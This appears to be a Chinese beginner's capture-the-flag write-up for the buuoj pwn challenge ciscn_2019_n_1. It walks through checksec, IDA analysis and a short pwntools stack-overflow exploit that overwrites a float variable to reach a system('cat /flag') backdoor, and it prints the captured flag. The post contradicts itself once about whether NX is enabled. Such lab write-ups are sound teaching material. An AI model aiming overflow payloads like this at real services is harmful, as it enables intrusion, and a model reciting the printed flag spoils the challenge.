CTF buuoj pwn-----第4题:ciscn_2019_n_1

本文记录了一次CTF比赛中的pwn题目解决过程,涉及检查程序保护机制、静态分析、编写EXP及运行EXP来触发系统调用获取flag。通过checksec发现64位程序仅开启栈不可执行保护,分析IDA找到system调用,构造payload覆盖浮点数以执行后门函数,最终成功获取到flag。

前言

记录一下pwn的过程 同第1、2、3题一样,新手学习日记,流水线记录.
打开题目, 连接靶机,下载文件ciscn_2019_n_1
在这里插入图片描述

一. checksec ,检测文件的保护机制

bing@bing-virtual-machine:~/pwn$ checksec ciscn_2019_n_1
[*] '/home/bing/pwn/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
bing@bing-virtual-machine:~/pwn$ 

从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE. 猜测为 溢出漏洞.,

二. 静态分析,IDA打开文件

IDA打开文件ciscn_2019_n_1

  • 按下shift+f12,打开string window
    发现 /cat /flag

在这里插入图片描述

双击/cat /flag, 点击command, 点击X, 发现/cat /flag的address在可疑函数func()里
在这里插入图片描述

打开后门函数func(),记下函数地址0x400676

在这里插入图片描述
按下f5,发现func()函数里面含有system(“cat /flag”)语句,作用就是输出flag的文件信息.
在这里插入图片描述

  • 解题思路: 想办法触发后门函数func()函数的system(“cat /flag”)语句。
  • v1 大小44db ,v2 是一个float类型数4db。
  • 覆盖v2前需填入44个任意字符(v2和v1之间的距离为0x30 - 0x4),而后填入11.28125对应的十六进制数,覆盖v2的值。

易得。11.28125对应的十六进制为0x41348000

11.28125 转换为二进制为 1011.01001
11.28125 在计算机内部储存为 0100 0001 0011 0100 1000 0000 0000 0000
即11.28125 ==> 0x41348000

也可以再ida中查看得到:
在这里插入图片描述

三. 编写EXP

from pwn import *  

sh = remote('node4.buuoj.cn', 28775)
payload = b'a'*44+p64(0x41348000) 
sh.sendline(payload)

sh.interactive()

四. 运行EXP, 获取flag

bing@bing-virtual-machine:~/pwn$ python3 ./ciscn_2019_n_1.py 
[+] Opening connection to node4.buuoj.cn on port 28775: Done
[*] Switching to interactive mode
Let's guess the number.
flag{64196adb-3ef2-4dd0-a204-af00b9ef477c}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28775
bing@bing-virtual-machine:~/pwn$ 


flag{64196adb-3ef2-4dd0-a204-af00b9ef477c}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值